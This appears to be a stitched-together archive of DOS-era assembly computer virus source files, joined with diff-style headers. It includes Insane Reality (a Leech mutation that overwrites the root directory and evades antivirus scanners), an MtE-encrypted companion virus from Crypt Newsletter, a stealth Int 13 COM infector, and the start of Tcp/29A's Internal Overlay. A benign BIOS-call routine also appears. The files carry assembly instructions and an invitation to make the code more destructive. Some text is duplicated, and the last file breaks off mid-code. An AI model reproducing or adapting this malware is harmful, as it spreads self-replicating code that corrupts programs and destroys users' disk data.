; this virus, make it a bit more destructive than it already is. I
; love destructive codes..It reminds me of my Brain..(??) <grin>..
;ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
message db 'Insane Reality.. ', 0 ; Mutation name..
db 'The Unforgiven / IR.. ' ; That's me..
db 0, 0, 0, 0, 0
encrypt_value1 db 0
readbuffer dw 0
db 253 dup (0)
nothing1 db 0
db 152 dup (0)
encrypt_value2 db 0
db 614 dup (0)
encrypted_file db 0
db 1280 dup (0)
carrier:
dw 20CDh
end leech
; Greetings goes out to Raver, Metal Militia, Scavenger,
; and all the others livi'n in the Insane Reality of today.
@@ -0,0 +1,601 @@
; VirusName : Insane Reality
; Country : Sweden
; Author : The Unforiven / Immortal Riot
; Date : 22/09/1993
;
;
; This is a mutation of the Leech virus, and well,
; havn't really changed much in this code, just
; fooled Mcafee's Scan and Dr Alans Toolkit..
;
; Okey, this might not be the very best mutation born,
; but think in this way, if this mutation is so bad
; then aren't the anti-virus products even worse ?
;
; The original virus was pretty "OK", it is a non-over-
; writing resident .COM. It will infect the program
; after you have started it. It will not infect renamed
; exe files. (..It looks at the victim's fileheader..)
;
; When the virus is in memory a infected files attributes
; (..size/date/time..) will not be discovored. If you boot
; your computer, and throw the virus out from memory,
; you'll see that the file has been changed. If an
; infected file is being run again, the virus will
; replace the infected file with its old file-attributes.
;
; This virus was originally written in Bulgaria..
; (..where else..) and I would like to thank the
; scratch coder of this little babe very much...
;
; Really hope this file will annoy some folks around,
; cuz it certainly annoyed me!..<no more comments>...
;
; Mcafee's Scan v108 can't find this, and neither can
; S&S Toolkit 6.54. Havn't tried with Tbscan/F-prot,
; but they will probably identify this as the leech virus.
;
; Beware of the Insane Reality we're living in!
; Signed The Unforgiven / Immortal Riot
.model tiny
.code
org 0
; ÄÄ---Ä-ÄÄÄÄÄ--Ä-ÄÄÄÄÄ--ÄÄÄÄ-Ä-ÄÄÄÄÄÄÄÄÄÄ-ÄÄÄ-ÄÄ-
; Disassembly by Dark Angel of Phalcon/Skism
; Assemble with Tasm /m Insane.asm, then link
; and use exe2bin for make this into a .com..
; Ä-ÄÄÄ-ÄÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄ--ÄÄ-
virlength = (readbuffer - leech)
reslength = (((encrypted_file - leech + 15) / 16) + 2)
leech:
jmp short enter_leech
filesize dw offset carrier
oldint21 dw 0, 0
oldint13 dw 0, 0
oldint24 dw 0, 0
datestore dw 0
timestore dw 0
runningflag db 1
evenodd dw 0
enter_leech:
call next
next:
pop si
db 0 ; Scan-fooler..
mutatearea1:
cli ; prevent all interupts
push ds ; Why?
pop es
mov bp,sp ; save sp
mov sp,si ; sp = offset next
add sp,encrypt_value1 - 1 - next
mutatearea2:
mov cx,ss ; save ss
mov ax,cs
mov ss,ax ; ss = PSP
pop bx ; get encryption value
dec sp
dec sp
add si,startencrypt - next
nop
decrypt:
mutatearea3:
pop ax
xor al,bh ; decrypt away!
push ax
dec sp
cmp sp,si
jae decrypt
startencrypt:
mov ax,es
dec ax
mov ds,ax ; ds->MCB
db 81h,6,3,0 ;add word ptr ds:[3],-reslength
dw 0 - reslength
mov bx,ds:[3] ; bx = memory size
mov byte ptr ds:[0],'Z' ; mark end of chain
inc ax ; ax->PSP
inc bx
add bx,ax ; bx->high area
mov es,bx ; as does es
mov ss,cx ; restore ss
add si,leech - startencrypt
mov bx,ds ; save MCB segment
mov ds,ax
mov sp,bp ; restore sp
push si
xor di,di
mov cx,virlength ; 1024 bytes
cld
rep movsb
pop si
push bx
mov bx,offset highentry
push es
push bx
retf ; jmp to highentry in
; high memory
highentry:
mov es,ax ; es->PSP
mov ax,cs:filesize
add ax,100h ; find stored area
mov di,si
mov si,ax
mov cx,virlength
rep movsb ; and restore over virus code
pop es ; MCB
xor ax,ax
mov ds,ax ; ds -> interrupt table
sti
cmp word ptr ds:21h*4,offset int21 ; already resident?
jne go_resident
db 26h,81h,2eh,3,0 ;sub word ptr es:[3],-reslength
dw 0 - reslength ;alter memory size
test byte ptr ds:[46Ch],0E7h ;1.17% chance of activation
jnz exit_virus
push cs
pop ds
mov si,offset message ; "Insane Reality.."
display_loop: ; display ASCIIZ string
lodsb ; get next character
or al,0 ; exit if 0
jz exit_display_loop
mov ah,0Eh ; otherwise write character
int 10h
jmp short display_loop
exit_display_loop:
mov ah,32h ; Get DPB -> DS:BX
xor dl,dl
int 21h
jc exit_virus ; exit on error
call getint13and24
call setint13and24
mov dx,[bx+10h] ; first sector of root
; directory
; BUG: won't work in DOS 4+
mov ah,19h ; default drive -> al
int 21h
mov cx,2 ; Overwrite root directory
int 26h ; Direct write..
pop bx
call setint13and24 ; restore int handlers
exit_virus:
jmp returnCOM
go_resident:
db 26h, 81h, 6, 12h, 0 ;add word ptr es:12h,-reslength
dw 0 - reslength ;alter top of memory in PSP
mov bx,ds:46Ch ;BX = random #
push ds
push cs
pop ds
push cs
pop es
mov runningflag,1 ; reset flag
and bh,80h
mov nothing1,bh
mutate1:
test bl,1
jnz mutate2
mov si,offset mutatearea1
add si,evenodd
lodsb
xchg al,[si] ; swap instructions
mov [si-1],al
mutate2:
test bl,2
jnz mutate3
mov si,offset mutatearea2
add si,evenodd
lodsw
xchg ax,[si] ; swap instructions
mov [si-2],ax
mutate3:
test bl,4
jnz mutate4
mov si,offset mutatearea3
mov al,2
xor [si],al ; flip between ax & dx
xor [si+2],al
xor [si+3],al
mutate4:
test bl,8
jnz findint21
mov si,offset next
mov di,offset readbuffer
mov cx,offset enter_leech
push si
push di
lodsb
cmp al,5Eh ; 1 byte pop si?
je now_single_byte_encode
inc si ; skip second byte of two
; byte encoding of pop si
now_single_byte_encode:
push cx
rep movsb
pop cx
pop si
pop di
cmp al,5Eh ; 1 byte pop si?
je encode_two_bytes ; then change to 2
mov al,5Eh ; encode a pop si
stosb
rep movsb ; then copy decrypt over
mov al,90h ; plus a nop to keep virus
stosb ; length constant
xor ax,ax ; clear the flag
jmp short set_evenodd_flag
encode_two_bytes:
mov ax,0C68Fh ; encode a two byte form of
stosw ; pop si
rep movsb
mov ax,1 ; set evenodd flag
set_evenodd_flag:
mov cs:evenodd,ax
findint21:
mov ah,30h ; Get DOS version
int 21h
cmp ax,1E03h ; DOS 3.30?
jne notDOS33
mov ah,34h ; Get DOS critical error ptr
int 21h
mov bx,1460h ; int 21h starts here
jmp short alterint21
notDOS33:
mov ax,3521h ;just get current int 21 handler
int 21h
alterint21:
mov oldint21,bx
mov word ptr ds:oldint21+2,es
mov si,21h*4 ; save old int 21 handler
pop ds ; found in interrupt table
push si
push cs
pop es
mov di,offset topint21
movsw
movsw
pop di ; and put new one in
push ds
pop es
mov ax,offset int21
stosw
mov ax,cs
stosw
mov di,offset startencrypt
mov al,cs:encrypt_value1 ; decrypt original
decryptcode: ; program code
xor cs:[di],al
inc di
cmp di,offset decryptcode
jb decryptcode
returnCOM:
mov ah,62h ; Get current PSP
int 21h
push bx ; restore segment registers
mov ds,bx
mov es,bx
mov ax,100h
push ax
retf ; Return to PSP:100h
infect:
push si
push ds
push es
push di
cld
push cs
pop ds
xor dx,dx ; go to start of file
call movefilepointer
mov dx,offset readbuffer ; and read 3 bytes
mov ah,3Fh
mov cx,3
call callint21
jc exiterror
xor di,di
mov ax,readbuffer
mov cx,word ptr ds:[0]
cmp cx,ax ; check if already infected
je go_exitinfect
cmp al,0EBh ; jmp short?
jne checkifJMP
mov al,ah
xor ah,ah
add ax,2
mov di,ax ; di = jmp location
checkifJMP:
cmp al,0E9h ; jmp?
jne checkifEXE ; nope
mov ax,word ptr readbuffer+1
add ax,3
mov di,ax ; di = jmp location
xor ax,ax
checkifEXE:
cmp ax,'MZ'
je exiterror
cmp ax,'ZM'
jne continue_infect
exiterror:
stc
go_exitinfect:
jmp short exitinfect
nop
continue_infect:
mov dx,di
push cx
call movefilepointer ; go to jmp location
mov dx,virlength ; and read 1024 more bytes
mov ah,3Fh
mov cx,dx
call callint21
pop cx
jc exiterror
cmp readbuffer,cx
je go_exitinfect
mov ax,di
sub ah,0FCh
cmp ax,filesize
jae exiterror
mov dx,filesize
call movefilepointer
mov dx,virlength ; write virus to middle
mov cx,dx ; of file
mov ah,40h
call callint21
jc exitinfect
mov dx,di
call movefilepointer
push cs
pop es
mov di,offset readbuffer
push di
push di
xor si,si
mov cx,di
rep movsb
mov si,offset encrypt_value2
mov al,encrypted_file
encryptfile: ; encrypt infected file
xor [si],al
inc si
cmp si,7FFh
jb encryptfile
pop cx
pop dx
mov ah,40h ; and write it to end of file
call callint21
exitinfect:
pop di
pop es
pop ds
pop si
retn
int21:
cmp ax,4B00h ; Execute?
je execute
cmp ah,3Eh ; Close?
je handleclose
cmp ah,11h ; Find first?
je findfirstnext
cmp ah,12h ; Find next?
je findfirstnext
exitint21:
db 0EAh ; jmp far ptr
topint21 dw 0, 0
findfirstnext:
push si
mov si,offset topint21
pushf
call dword ptr cs:[si] ; call int 21 handler
pop si
push ax
push bx
push es
mov ah,2Fh ; Get DTA
call callint21
cmp byte ptr es:[bx],0FFh ; extended FCB?
jne noextendedFCB
add bx,7 ; convert to normal
noextendedFCB:
mov ax,es:[bx+17h] ; Get time
and ax,1Fh ; and check infection stamp
cmp ax,1Eh
jne exitfindfirstnext
mov ax,es:[bx+1Dh]
cmp ax,virlength * 2 + 1 ; too small for infection?
jb exitfindfirstnext ; then not infected
sub ax,virlength ; alter file size
mov es:[bx+1Dh],ax
exitfindfirstnext:
pop es
pop bx
pop ax
iret
int24:
mov al,3
iret
callint21:
pushf
call dword ptr cs:oldint21
retn
movefilepointer:
xor cx,cx
mov ax,4200h
call callint21
retn
execute:
push ax
push bx
mov cs:runningflag,0
mov ax,3D00h ; open file read/only
call callint21
mov bx,ax
mov ah,3Eh ; close file
int 21h ; to trigger infection
pop bx
pop ax
go_exitint21:
jmp short exitint21
handleclose:
or cs:runningflag,0 ; virus currently active?
jnz go_exitint21
push cx
push dx
push di
push es
push ax
push bx
call getint13and24
call setint13and24
; convert handle to filename
mov ax,1220h ; get job file table entry
int 2Fh
jc handleclose_noinfect ; exit on error
mov ax,1216h ; get address of SFT
mov bl,es:[di]
xor bh,bh
int 2Fh ; es:di->file entry in SFT
mov ax,es:[di+11h]
mov cs:filesize,ax ; save file size,
mov ax,es:[di+0Dh]
and al,0F8h
mov cs:timestore,ax ; time,
mov ax,es:[di+0Fh]
mov cs:datestore,ax ; and date
cmp word ptr es:[di+29h],'MO' ; check for COM extension
jne handleclose_noinfect
cmp byte ptr es:[di+28h],'C'
jne handleclose_noinfect
cmp cs:filesize,0FA00h ; make sure not too large
jae handleclose_noinfect
mov al,20h ; alter file attribute
xchg al,es:[di+4]
mov ah,2 ; alter open mode to
xchg ah,es:[di+2] ; read/write
pop bx
push bx
push ax
call infect
pop ax
mov es:[di+4],al ; restore file attribute
mov es:[di+2],ah ; and open mode
mov cx,cs:timestore
jc infection_not_successful
or cl,1Fh ; make file infected in
and cl,0FEh ; seconds field
infection_not_successful:
mov dx,cs:datestore ; restore file time/date
mov ax,5701h
call callint21
handleclose_noinfect:
pop bx
pop ax
pop es
pop di
pop dx
pop cx
call callint21
call setint13and24
retf 2 ; exit with flags intact
getint13and24:
mov ah,13h ; Get BIOS int 13h handler
int 2Fh
mov cs:oldint13,bx
mov cs:oldint13+2,es
int 2Fh ; Restore it
mov cs:oldint24,offset int24
mov cs:oldint24+2,cs
retn
setint13and24:
push ax
push si
push ds
pushf
cli
cld
xor ax,ax
mov ds,ax ; ds->interrupt table
mov si,13h*4
lodsw
xchg ax,cs:oldint13 ; replace old int 13 handler
mov [si-2],ax ; with original BIOS handler
lodsw
xchg ax,cs:oldint13+2
mov [si-2],ax
mov si,24h*4 ; replace old int 24 handler
lodsw ; with our own handler
xchg ax,cs:oldint24
mov [si-2],ax
lodsw
xchg ax,cs:oldint24+2
mov [si-2],ax
popf
pop ds
pop si
pop ax
retn
;ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
; Okey..don't change the text to much here, cuz the virus will refuse
; to work correctly if you writes to many chars..If you wanna modify
; this virus, make it a bit more destructive than it already is. I
; love destructive codes..It reminds me of my Brain..(??) <grin>..
;ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
message db 'Insane Reality.. ', 0 ; Mutation name..
db 'The Unforgiven / IR.. ' ; That's me..
db 0, 0, 0, 0, 0
encrypt_value1 db 0
readbuffer dw 0
db 253 dup (0)
nothing1 db 0
db 152 dup (0)
encrypt_value2 db 0
db 614 dup (0)
encrypted_file db 0
db 1280 dup (0)
carrier:
dw 20CDh
end leech
; Greetings goes out to Raver, Metal Militia, Scavenger,
; and all the others livi'n in the Insane Reality of today.
@@ -0,0 +1,178 @@
;INSUFFICIENT MEMORY virus - by URNST KOUCH for Crypt Newsletter #6
;INSUFF MEMO is a simple MUTATION ENGINE loaded spawning virus, which
;confines itself to the current directory. To assemble with TASM 2.5, user
;must have complete MTE091B software package (including RND.OBJ,
;MTE.OBJ and stubfile, NOPS.BIN). Use MAKE2.BAT included in this
;issue of the Crypt Newsletter to assemble all proper
;components. Observant readers will notice INSUFF MEMO takes advantage of
;VCL 1.0 code as well as notation from the SARA virus. INSUFF MEMO is
;a non-threatening, unique example of an MtE-loaded companion virus -
;the only one in circulation, in fact.
;
;INSUFF2, included as a DEBUG script in this newsletter, is functionally
;identical to this virus. However, for those who 'require' a destructive
;program for their full enjoyment, it is loaded with a routine which
;simple checks the system time and branches to some 'dropper' code if
;after quitting time (4:00 pm). The 'dropper' reads from a data table
;and writes the NOIZ trojan to any .EXE in the current directory. By
;looking carefully at this code, several areas where 'potentially'
;destructive/nuisance routines can be added will suggest themselves.
;We do not include them for a number of reasons: 1) they are easy to
;come by in any number of books on assembly coding, the VCL 1.0 (an
;excellent source), or source code archives on mnay BBS's, and; 2)
;it allows you to get creative if you want and tinker (like I do all the
; time) with the basic layout of virus source.
;
;INSUFF3's source listing is modified to allow the virus to jump out
;of the current directory when all files in it are infected. The
;listing is publicly available at the BBS's listed at the end of the
;Crypt newsletter.
.model tiny
.radix 16
.code
extrn mut_engine: near
extrn rnd_buf: word, data_top: near
org 100
start:
call locadr
reladr:
db 'Insufficient memory'
locadr:
pop dx
mov cl,4
shr dx,cl
sub dx,10
mov cx,ds
add cx,dx ;Calculate new CS
mov dx,offset begin
push cx dx
retf
begin:
cld
mov di,offset start
push es di ;
push cs ;A carry over from the DAV
pop ds ;SARA virus, something of a curiosity
;in this companion virus
mov dx,offset dta_buf ;Set DTA
mov ah,1a
int 21
mov ax,3524 ;Hook INT 24, error handler
int 21 ;see bottom of code
push es bx
mov dx,offset fail_err
mov ax,2524
int 21
xor ax,ax ;Initialize random seed for MtE
mov [rnd_buf],ax ;could be coded, mov cs:[rnd_buf],0
push sp ;process necessary for generation of
pop cx ;MtE encryption key - see MtE docs
sub cx,sp ;for further notation
add cx,4
push cx
mov dx,offset srchnam ;EXE file-mask for spawn-name search
mov cl,3
mov ah,4e ; DOS find first file function
find_a_file:
int 021h
jc infection_done ; Exit if no files found
jmp infect ; Infect the file!
jnc infection_done ; Exit if no error
findr: mov ah,04Fh ; DOS find next file function
jmp find_a_file ; Try finding another file
infection_done:
mov ax,4C00h ;terminate
int 21h
infect:
mov ah,02Fh ; DOS get DTA address function
int 021h
mov di,bx ; DI points to the DTA
lea si,[di + 01Eh] ; SI points to file name
mov dx,si ; DX points to file name, too
mov di,offset spawn_name + 1; DI points to new name
xor ah,ah ; AH holds character count
transfer_loop:
lodsb ; Load a character
or al,al ; Is it a NULL?
je transfer_end ; If so then leave the loop
inc ah ; Add one to the character count
stosb ; Save the byte in the buffer
jmp short transfer_loop ; Repeat the loop
transfer_end:
mov byte ptr [spawn_name],ah; First byte holds char. count
mov byte ptr [di],13 ; Make CR the final character
mov di,dx ; DI points to file name
xor ch,ch ;
mov cl,ah ; CX holds length of filename
mov al,'.' ; AL holds char. to search for
repne scasb ; Search for a dot in the name
mov word ptr [di],'OC' ; Store "CO" as first two bytes
mov byte ptr [di + 2],'M' ; Store "M" to make "COM"
mov byte ptr [set_carry],0 ; Assume we'll fail
mov ax,03D00h ; DOS open file function, r/o
int 021h
jnc findr ; File already exists, so leave
mov byte ptr [set_carry],1 ; Success -- the file is OK
mov ah,03Ch ; DOS create file function
mov cx,00100111b ; CX holds file attributes (all)
int 21h
xchg bx,ax ; BX holds file handle
push dx cx
mov ax,offset data_top+0Fh
mov cl,4
shr ax,cl
mov cx,cs
add ax,cx
mov es,ax
mov dx,offset start ; DX points to start of virus
mov cx,offset _DATA ; CX holds virus length for encryption
push bp bx
mov bp,0100h ;tells MtE decryption routine will
xor si,si ;hand over control to where virus adds
xor di,di ;itself to 'infected' file, in this case offset
mov bl,0Fh ;0100h .. set si/di to 0, bl to 0Fh, all required
mov ax,101 ;set bit-field in ax
call mut_engine ;call the Mutation Engine to do its thing
pop bx ax
add ax,cx
neg ax
xor ah,ah
add ax,cx
mov ah,040h ;write encrypted virus to newly created file
int 21h
mov ah,03Eh ;close the file
int 21h
cmp byte ptr [set_carry],1
jmp infection_done ;move to end game
fail_err: ;Critical error handler
mov al,3 ;prevents virus from producing
iret ;messages on write-protected disks.
;Not handed back to machine when virus exits.
srchnam db '*.EXE',0 ;File-mask for 'spawn-search.'
.data
dta_buf db 2bh dup(?) ; Buffer for DTA
spawn_name db 12,12 dup (?),13 ; Name for next spawn
set_carry db ? ; Set-carry-on-exit flag
end start
@@ -0,0 +1,47 @@
DOSCALL SEGMENT 'CODE'
ASSUME CS:DOSCALL,DS:DOSCALL
;
;Procedure DOSVIO(VAR: AX, BX, CX, DX: Word);
;
; Issue a DOS VIDEO I/O INT (10) with register values set by caller
;
; FRAME: ADR AX; 12
; ADR BX; 10
; ADR CX; 08
; ADR DX; 06
; <RET BP>; 00
;
PUBLIC DOSVIO
DOSVIO PROC FAR
PUSH BP ;Save current BP value
MOV BP,SP ;To address parms
MOV DI,[BP+12] ;Address of AX
MOV AX,[DI] ;Set AX value
MOV DI,[BP+10] ;Address of BX
MOV BX,[DI] ;Set BX value
MOV DI,[BP+08] ;Address of CX
MOV CX,[DI] ;Set CX value
MOV DI,[BP+06] ;Address of DX
MOV DX,[DI] ;Set DX value
INT 10H ;Call BIOS with caller's AX, BX, CX, DX
MOV DI,[BP+12] ;Now put them all back...
MOV [DI],AX
MOV DI,[BP+10]
MOV [DI],BX
MOV DI,[BP+08]
MOV [DI],CX
MOV DI,[BP+06]
MOV [DI],DX
POP BP ;Restore frame pointer
RET 6 ;Return, poping 6 bytes
DOSVIO ENDP
DOSCALL ENDS
END
*** CREATED 06/28/82 21:05:48 BY AMD ***

+310
View File
@@ -0,0 +1,310 @@
Code Segment
Assume CS:Code
Old13 = 9Ch
True13 = 9Dh
Saved21 = 9Eh
Temp13 = 9Fh
VStart: loop Next ; Virus ID
Next: push ax
mov di,13h * 4
push di
xor bp,bp
mov ds,bp
les bx,[di]
mov di,True13 * 4
mov [di-4],bx
mov [di-2],es
mov ah,13h
int 2Fh
push es
push bx
int 2Fh
mov es,bp
mov si,21h * 4
pop ax
stosw
pop ax
stosw
push si
movsw
movsw
mov ah,52h
int 21h
push es
pop ds
les ax,[bx+12h] ; ax is now 0000h, i.e. ah is 0.
push word ptr es:[bp+2]
mov si,100h
mov cx,si
mov di,bp
push si
rep movs word ptr es:[di], cs:[si]
pop si
pop word ptr ds:[bx+14h]
push es
mov al, offset Continue ; Let's use it!
push ax
retf
SavedCX dw 1
SavedDX dw 0
SavedBX dw 0
SavedES dw 0
FileWord dw 0
SCX = offset SavedCX - offset VStart
SDX = offset SavedDX - offset VStart
Continue: mov es,bp
pop di
mov al,offset Int21 ; Two times!
stosw
mov es:[di],cs
pop di
mov al,offset Int13 ; Three times!
stosw
mov es:[di],cs
mov es,[bp+2Ch] ; This assumes SS:
mov di,bp
xchg ax,bp
dec cx
ScanEnv: repne scasb
scasb
jnz ScanEnv
scasw
push es
pop ds
mov dx,di
mov ah,3Dh
int 21h
jc NoStart
mov dx,si
xchg ax,bx
mov ah,3Fh
push ss
pop ds
int 21h
mov ah,3Eh
int 21h
pop ax
push ss
push si
push ss
pop es
retf
NoStart: mov ah,4Ch
int 21h
Int13V: mov SavedBX,bx
mov SavedCX,cx
mov SavedDX,dx
mov SavedES,es
Go13: int Old13
jmp short RetF2
Int13: cmp ah,2
jne Go13
push ds
push si
push di
push cx
push dx
push es
push bx
push dx
int Old13
pop dx
jc Exit13
cmp word ptr es:[bx],00E2h
clc
jne Exit13
mov ax,202h
mov cx,es:[bx+SCX]
mov dh,byte ptr es:[bx+SDX+1]
mov bx,0B800h
mov ds,bx
mov es,bx
mov bh,78h
int True13
jc Exit13
mov si,7A00h
pop bx
mov di,bx
pop es
mov cx,100h
rep movsw
jmp short Exit13_1
Exit13: pop bx
pop es
Exit13_1: pop dx
pop cx
pop di
pop si
pop ds
RetF2: retf 2
Int21: cmp ah,12h
je FindNext
int Saved21
jmp RetF2
FindNext: int Saved21
cmp al,0
jnz RetF2
push ax
push bx
push ds
push es
mov ah,2Fh
int Saved21
push es
pop ds
mov ax,'MO'
cmp ax,[bx+17]
jne Exit1
cmp ax,[bx+9]
je Exit1
mov al,[bx+7]
add al,'@'
push cx
push dx
mov cx,[bx+36]
mov dx,200h
cmp cx,dx
jb Exit2
dec cx
test ch,10b
jz Infect
cmp al,'C'
jb Exit2
test ch,100b
jz Infect
Exit2: pop dx
pop cx
Exit1: pop es
pop ds
pop bx
pop ax
jmp RetF2
Infect: push si
push di
push cs
pop es
mov di,dx
lea si,[bx+8]
mov ah,':'
stosw
movsw
movsw
movsw
movsw
mov al,'.'
stosb
movsw
movsb
xor ax,ax
stosb
mov ds,ax
mov es,ax
mov si,13h * 4
mov di,Temp13 * 4
push si
push di
push es
movsw
movsw
mov word ptr [si-4], offset Int13V
mov [si-2], cs
push cs
pop ds
mov ah,3Dh
int Saved21
xchg ax,bx
mov ax,4202h
mov cx,-1
mov dx,cx
int Saved21 ; DX must now be zero (.COM)
Go: mov ah,3Fh
mov dl,offset FileWord
mov di,dx
neg cx ; mov cx,1
int Saved21
push [di-8]
push [di-6]
mov ax,4200h
xor cx,cx ; can it be inc cx ??
xor dx,dx
int Saved21
mov ah,3Fh
mov dx,di
mov cl,2
int Saved21
mov ax,[di]
pop dx
pop cx
cmp ax,00E2h
je Close
cmp ax,5A4Dh
je Close
mov ax,202h
push cx
push dx
mov bx,0B800h
mov es,bx
mov bh,78h
int True13
lds si,[di-4]
push di
mov di,7A00h
mov cx,100h
rep movsw
pop di
mov ax,302h
pop dx
pop cx
push cx
push dx
int True13
pop dx
pop cx
mov ax,301h
xchg cx,cs:[di-8]
xchg dx,cs:[di-6]
push cs
pop es
xor bx,bx
int True13
Close: mov ah,3Eh
int Saved21
pop es
pop si
pop di
movs word ptr es:[di], es:[si]
movs word ptr es:[di], es:[si]
pop di
pop si
jmp Exit2
VName db ' Int 13'
VEnd label byte
VLen = offset VEnd - offset VStart
Code EndS
End VStart
Binary file not shown.
@@ -0,0 +1,451 @@
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; Internal Overlay ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; by Tcp/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; Here you have a virus i wrote some time ago... an old but still pretty
; interesting virus (anyway, ain't so old... one year or less :) Its pe-
; culiarity consists in that it infects COM and EXE files without modi-
; fying their headers! ;) In this way, it doesn't get detected under a
; very large number of CRC checkers which just compare the first bytes
; and the length of the files whose info it stores.
;
; Internal Overlay (IntOv for friends :) does this by inserting an over-
; lay loader at the entry point of the files it infects, and the corres-
; ponding overlay -the virus- at the end of the file, appended to the
; infected file in the traditional way :)
;
; It infects, as i told before, COM and EXE files on execution (4b00h)
; and opening (3dh), and it doesn't infect COMMAND.COM or EXEs with re-
; location items in the entry point, unless this item is located in off-
; set 7 (PkLited files have an item there) ;)
;
; Compiling instructions:
;
; tasm /m intov.asm
; tlink intov.obj
; exe2bin intov.exe intov.com
assume cs:code,ds:code,ss:code,es:code
org 0
code segment
_BYTES = ((end_vir-start)+(ov_part-start)+15)
_PARAG = _BYTES/16
start:
delta_ofs equ word ptr $+1
mov si,100h ; Delta offset (precalc)
; In dropper, 100h
id_mark equ word ptr $+1
mov cx,'<>' ; Length to search for, it will be the
; id mark: '<>'... why not? :)
reloc_pkl equ word ptr $+1
mov bp,0000 ; For PkLite's relocation
mov es,ds:[2ch] ; es-> environment
xor ax,ax
xor di,di
repnz scasw ; Search for two consecutive zeros
; Searching file name
inc di
inc di ; es:di -> file name
push cs
push ds
push es
push di
push ds
mov ax,ds
dec ax
mov es,ax ; MCB access
; ES-> MCB
mov bx,es:[0003]
sub bx,_PARAG+1
pop es
mov ah,4ah
int 21h ; Free memory. If resident, doesn't return!
mov ah,48h
mov bx,_PARAG
int 21h ; Want some memory
mov es,ax
push cs
pop ds
mov cx,offset(ov_part)
push si
xor di,di
rep movsb ; Move it to reserved area
pop si
mov ax,offset(new_mcb)
push es
push ax
retf ; Jump to reserved area
new_mcb:
push ds
pop es ; es:= old cs
pop dx
pop ds
mov ax,3d00h
int 21h ; Open the file
xchg bx,ax ; bx:=handle
push cs
pop ds
long_high equ word ptr $+1
mov cx,0000
long_low equ word ptr $+1
mov dx,offset(ov_part) ; For the dropper
mov ax,4200h
int 21h ; Get set in file
; Point to 'overlay'
mov cx,offset(end_vir)
mov ah,3fh
mov dx,offset(ov_part)
int 21h ; Read the 'overlay'
mov ah,3eh ; We're up to here in the Entry Point
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Now, the virus overlay part ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ov_part:
int 21h ; Close file
push si
push si
pop di
mov si,offset(original)
mov cx,offset(ov_part)
rep movsb ; Restore original code in memory
pop si
push cs
pop ax
dec ax
mov es,ax ; es-> MCB
mov word ptr es:[0001],8 ; O.S. block
mov ax,3521h ; Get and change int 21h
int 21h
mov ofs_int21,bx
mov seg_int21,es
mov ah,25h
mov dx,offset(int_21)
int 21h
exec_host:
pop ds ; PSP
push si
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor bp,bp
xor si,si
xor di,di
push ds
pop es
retf ; jump to host
c_com db 'COM'
db 'EXE'
db 'exe'
db 'com'
c_21:
pushf
call dword ptr cs:[ofs_int21]
ret
int_24: mov al,3
iret
db '[Internal Overlay, Tcp / 29A]'
int_21:
cmp ah,4ah ; Can be our call
jne f_func
push ax
push di
mov ax,'<>'
sub ax,cx
shr di,1
sub ax,di
inc ax ; If 0 -> our call
pop di
pop ax
jnz f_func
pop cx ; We're not interested in offset
pop di ; Interested in code segment
pop cx ; We're not interested in flags
pop dx
pop ds ; ds:dx -> file name
mov ax,3d00h
call c_21 ; Open file
xchg ax,bx ; bx:=handle
mov ds,di
mov cx,[si+long_high] ; Restore data
mov dx,[si+long_low]
add dx,offset(original)-offset(ov_part)
adc cx,0
mov ax,4200h
int 21h ; Postion on overlay's portion that
; keeps original code
mov dx,si
mov ah,3fh
mov cx,offset(ov_part)
int 21h ; We read
mov ah,3eh
int 21h ; We close the file
add [si+1],bp ; Reallocate Pklite's item (add 0 otherwise)
jmp exec_host
f_func:
push bx
push cx
push dx
push bp
push ds
push es
push si
push di
push ax
mov di,dx
mov al,0
mov cx,666h ;-)
repnz scasb
sub di,4 ; filename.ext
; ^
pop ax
push ax
cmp ax,4b00h ; file execution?
je is_exec
cmp ah,3dh ; open-file?
je check_ext
end_21:
pop ax
pop di
pop si
pop es
pop ds
pop bp
pop dx
pop cx
pop bx
db 0eah ; jmp far
ofs_int21 dw ?
seg_int21 dw ?
check_ext:
push ds
push cs
pop ds
mov si,offset(c_com)
mov cx,4
loop_ext: push si ; check valid extensions
push di
cmpsw
jne next_ext
cmpsb
next_ext: pop di
pop si
je ext_ok
add si,3
loop loop_ext
pop ds
or cx,cx
jz end_21
ext_ok: pop ds
is_exec:
cmp byte ptr ds:[di-2],'D' ; Don't infect command.com
jz end_21
cmp byte ptr ds:[di-2],'d'
jz end_21
mov ax,3524h ; Read and prepare int 24h
int 21h
push es
push bx
mov ah,25h
push ax ; 2524h
push ds
push dx
push cs
pop ds
